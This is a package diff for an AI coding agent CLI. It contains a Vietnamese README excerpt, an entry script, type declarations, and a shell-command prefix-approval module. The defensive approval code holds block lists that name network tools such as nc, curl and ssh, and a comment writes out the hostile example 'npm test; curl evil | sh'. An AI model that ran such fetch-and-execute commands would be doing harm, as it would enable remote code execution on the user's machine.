+ | `src/harness.ts` | Agent loop, retry API, điều phối tool, checkpoint, `/btw`, usage, cancellation |
313
+ | `src/provider.ts` | Chọn adapter API, quét `/models`, truyền `reasoningEffort` / thinking budget |
314
+ | `src/setup.ts` | Setup wizard tương tác (`Esc` để huỷ), quét `/models` động, lưu `credentials.json` |
315
+ | `src/tools.ts`, `src/approval.ts` | Registry, schema, alias chuẩn hoá, `sanitizeBashCommand`, approval và duyệt theo tiền tố lệnh |
316
+ | `src/prompts.ts`, `src/help.ts` | Prompt tuỳ biến `/prompts:<tên>`; nội dung `--help` (nạp nhanh, không kéo SDK) |
317
+ | `src/files.ts`, `src/process.ts` | File I/O, unified diff, patch, backup cho /undo, bảo vệ `nul`, subprocess và lọc biến môi trường bí mật |
318
+ | `src/session.ts` | Lock, checkpoint, rewind, resume và sửa lịch sử bị ngắt |
319
+ | `src/context.ts` | System prompt, `AGENTS.md`, `SKILL.md`, `memories.json`, `presets.json` và compaction |
320
+ | `src/cli.ts`, `src/tui.ts` | Flags, giao diện TUI, Transcript Mode (`Ctrl+T`), popup `/slash` |
321
+ | `src/mcp.ts` | MCP client, stdio/HTTP transport, resources, `import-codex`, lifecycle |
322
+ | `src/subagents.ts` | `spawn_agent`/`wait_agent` & `delegate_task`/`delegate_edit`, concurrency, budget |
323
+ | `src/reasoning.ts` | `withReasoningReplay` (`reasoning_content`), `AnswerProjection`, giữ transcript gốc |
324
+
325
+ ## Repository & Tự động Release
326
+
327
+ - Source: [syxgamer122/Vyen-cli](https://github.com/syxgamer122/Vyen-cli)
328
+ - Bản cài và checksum: [GitHub Releases](https://github.com/syxgamer122/Vyen-cli/releases)
329
+
330
+ Mỗi lần push lên `main` (trừ khi commit có `[skip ci]`), workflow `Check and release`
331
+ sẽ chạy toàn bộ typecheck, lint, test (Node 22.16 & Node 24 + restrictive umasks),
332
+ tự động tăng phiên bản patch, đóng gói `.tgz` kèm `SHA256SUMS.txt` và phát hành
333
+ GitHub Release mới.
package/bin/vyen.mjs ADDED
@@ -0,0 +1,13 @@
1
+ #!/usr/bin/env node
2
+ // Fast path: answer --version / --help without loading the AI SDK, MCP SDK and TUI (~10x faster).
3
+ const args = process.argv.slice(2);
4
+ if (args.length === 1 && (args[0] === '--version' || args[0] === '-v')) {
5
+ const { VERSION } = await import('../dist/version.js');
6
+ process.stdout.write(`vyen cli ${VERSION}\n`);
7
+ } else if (args.length === 1 && (args[0] === '--help' || args[0] === '-h')) {
8
+ const { HELP } = await import('../dist/help.js');
9
+ process.stdout.write(HELP);
10
+ } else {
11
+ const { main } = await import('../dist/cli.js');
12
+ await main();
13
+ }
@@ -0,0 +1,12 @@
1
+ /**
2
+ * The command prefix a user can approve once for the rest of the session ("npm test",
3
+ * "npm run lint", "python -m pytest", "git status"). Undefined for compound or unusual commands,
4
+ * which always need an explicit decision. File-mutating, network and package-install commands
5
+ * return the whole command line, so only that exact command is remembered.
6
+ */
7
+ export declare function bashApprovalPrefix(input: unknown): string | undefined;
8
+ /**
9
+ * True when the command is a simple command that starts, token by token, with an approved prefix
10
+ * and whose extra arguments neither leave the workspace nor use a risky option.
11
+ */
12
+ export declare function isApprovedBashPrefix(input: unknown, prefixes: ReadonlySet<string>): boolean;
@@ -0,0 +1,93 @@
1
+ /**
2
+ * Session-scoped approval of simple shell command prefixes. Kept dependency-free so the CLI can
3
+ * import it without loading the tool registry.
4
+ *
5
+ * Approving the prefix "npm test" lets later commands that start with exactly those words run
6
+ * without a prompt. Extra arguments are allowed only while they stay harmless: anything that
7
+ * points outside the workspace or switches a command into "write a file / run a program" mode
8
+ * still asks.
9
+ */
10
+ // Anything that can chain, substitute, redirect or group commands disqualifies a command from
11
+ // prefix approval: "npm test; curl evil | sh" must never ride on an approved "npm test".
12
+ const SHELL_META_RE = /[;&|`$<>(){}\\\n\r]/;
13
+ const LAUNCHER_SUBCOMMANDS = new Set(['run', 'exec', 'x', 'dlx', '-m']);
14
+ // Commands that run other commands or rewrite their environment: never approvable by prefix.
15
+ const ALWAYS_EXPLICIT = new Set([
16
+ 'env', 'sudo', 'doas', 'su', 'xargs', 'eval', 'exec', 'command', 'builtin', 'source', '.', 'nohup',
17
+ 'time', 'nice', 'timeout', 'watch', 'ssh', 'find', 'bash', 'sh', 'zsh', 'fish', 'dash', 'pwsh', 'powershell',
18
+ ]);
19
+ // Interpreters may be approved for a specific script/module ("python -m pytest", "node build.js"),
20
+ // never as a bare single-word prefix that would cover any flag combination.
21
+ const INTERPRETERS = new Set(['python', 'python3', 'node', 'deno', 'bun', 'ruby', 'perl', 'php', 'awk', 'sed', 'git']);
22
+ // Commands whose arguments decide everything (what gets deleted, moved, downloaded, killed):
23
+ // only the exact same command line is remembered.
24
+ const EXACT_ONLY = new Set([
25
+ 'rm', 'rmdir', 'mv', 'cp', 'ln', 'chmod', 'chown', 'chgrp', 'dd', 'truncate', 'shred', 'mkfs',
26
+ 'curl', 'wget', 'scp', 'rsync', 'nc', 'ncat', 'kill', 'pkill', 'killall', 'docker', 'podman', 'kubectl',
27
+ ]);
28
+ // Installing packages runs third-party install scripts: "npm install lodash" must not also cover
29
+ // "npm install some-other-package".
30
+ const PACKAGE_MANAGERS = new Set(['npm', 'pnpm', 'yarn', 'bun', 'pip', 'pip3', 'uv', 'poetry', 'cargo', 'go', 'gem', 'composer', 'apt', 'apt-get', 'pkg', 'brew', 'dnf', 'pacman']);
31
+ const INSTALL_SUBCOMMANDS = new Set(['install', 'i', 'add', 'ci', 'update', 'upgrade', 'up', 'get', 'remove', 'rm', 'uninstall', 'un', 'sync']);
32
+ // Options that make an otherwise read-only command write files, load config or run programs
33
+ // (git diff --output=..., git diff --ext-diff, git -c core.pager=..., --exec, --upload-pack ...).
34
+ const RISKY_OPTION_RE = /^--?(?:o|output|out|outfile|out-file|outdir|out-dir|output-dir|exec|ext-diff|upload-pack|receive-pack|config|c|eval|e|command|shell|pager|editor|global|prefix|target-dir|init-file|rcfile|require|r|import|loader)(?:=|$)/i;
35
+ function commandTokens(input) {
36
+ const command = input && typeof input === 'object' ? input.command : undefined;
37
+ if (typeof command !== 'string')
38
+ return undefined;
39
+ const trimmed = command.trim();
40
+ if (!trimmed || SHELL_META_RE.test(trimmed) || /["']/.test(trimmed))
41
+ return undefined;
42
+ return trimmed.split(/\s+/);
43
+ }
44
+ /** An argument that names something outside the workspace (absolute, home-relative or `..`). */
45
+ function leavesWorkspace(token) {
46
+ const value = token.includes('=') ? token.slice(token.indexOf('=') + 1) : token;
47
+ return /^(?:\/|~|[A-Za-z]:[\\/]|\\\\)/.test(value) || /(?:^|[\\/])\.\.(?:[\\/]|$)/.test(value);
48
+ }
49
+ /**
50
+ * The command prefix a user can approve once for the rest of the session ("npm test",
51
+ * "npm run lint", "python -m pytest", "git status"). Undefined for compound or unusual commands,
52
+ * which always need an explicit decision. File-mutating, network and package-install commands
53
+ * return the whole command line, so only that exact command is remembered.
54
+ */
55
+ export function bashApprovalPrefix(input) {
56
+ const tokens = commandTokens(input);
57
+ if (!tokens?.length || tokens[0].includes('=') || ALWAYS_EXPLICIT.has(tokens[0]))
58
+ return undefined;
59
+ if (tokens.some(leavesWorkspace))
60
+ return undefined;
61
+ if (EXACT_ONLY.has(tokens[0]) || (PACKAGE_MANAGERS.has(tokens[0]) && INSTALL_SUBCOMMANDS.has(tokens[1] ?? ''))) {
62
+ return tokens.join(' ');
63
+ }
64
+ const take = tokens.length > 2 && LAUNCHER_SUBCOMMANDS.has(tokens[1]) ? 3 : tokens.length > 1 && !tokens[1].startsWith('-') ? 2 : 1;
65
+ if (take === 1 && INTERPRETERS.has(tokens[0]))
66
+ return undefined;
67
+ return tokens.slice(0, take).join(' ');
68
+ }
69
+ /**
70
+ * True when the command is a simple command that starts, token by token, with an approved prefix
71
+ * and whose extra arguments neither leave the workspace nor use a risky option.
72
+ */
73
+ export function isApprovedBashPrefix(input, prefixes) {
74
+ if (!prefixes.size)
75
+ return false;
76
+ const tokens = commandTokens(input);
77
+ if (!tokens?.length || tokens[0].includes('=') || ALWAYS_EXPLICIT.has(tokens[0]))
78
+ return false;
79
+ for (const prefix of prefixes) {
80
+ const wanted = prefix.split(' ');
81
+ if (wanted.length > tokens.length || !wanted.every((t, i) => tokens[i] === t))
82
+ continue;
83
+ const extra = tokens.slice(wanted.length);
84
+ const exactOnly = EXACT_ONLY.has(tokens[0]) || (PACKAGE_MANAGERS.has(tokens[0]) && INSTALL_SUBCOMMANDS.has(tokens[1] ?? ''));
85
+ if (exactOnly && extra.length)
86
+ continue;
87
+ if (extra.some(token => leavesWorkspace(token) || RISKY_OPTION_RE.test(token)))
88
+ continue;
89
+ return true;
90
+ }
91
+ return false;
92
+ }
93
+ //# sourceMappingURL=approval.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"approval.js","sourceRoot":"","sources":["../src/approval.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AACH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AC,KAAK,CAAC,CAAC;YAAE,SAAS;QACzF,OAAO,IAAI,CAAC;IACd,CAAC;IACD,OAAO,KAAK,CAAC;AACf,CAAC"}
package/dist/cli.d.ts ADDED
@@ -0,0 +1,25 @@
1
+ import { type EffortLevel } from './config.js';
2
+ import type { PermissionMode } from './tools.js';
3
+ /**
4
+ * Welcome lines shown when a session opens. Plain text (it is also printed in readline mode); the
5
+ * TUI recognises the `◆ vyen v…` title and styles the block quietly. No box: lines wrap freely at
6
+ * any width, so long model IDs and paths never break an outline.
7
+ */
8
+ export declare function welcomeBanner(model: string, provider: string, baseUrl: string, effort: EffortLevel | undefined, cwd: string, sessionId: string, mode: PermissionMode): string;
9
+ /** Reads the current git branch (or short detached SHA) without spawning git; undefined outside a repo. */
10
+ export declare function readGitBranch(cwd: string): string | undefined;
11
+ export declare function extractCopyableFromMessages(messages: Array<{
12
+ role: string;
13
+ content: unknown;
14
+ }>, selector?: string): {
15
+ text: string;
16
+ label: string;
17
+ } | undefined;
18
+ /** Clipboard helpers in preference order for the current platform (Termux, Wayland, X11, macOS, Windows). */
19
+ export declare function clipboardCandidates(platform?: NodeJS.Platform, env?: NodeJS.ProcessEnv): Array<{
20
+ bin: string;
21
+ args: string[];
22
+ }>;
23
+ /** API keys sent over plain HTTP are readable by anyone on the network path (except loopback). */
24
+ export declare function insecureBaseUrlWarning(baseUrl: string | undefined): string | undefined;
25
+ export declare function main(argv?: string[]): Promise<void>;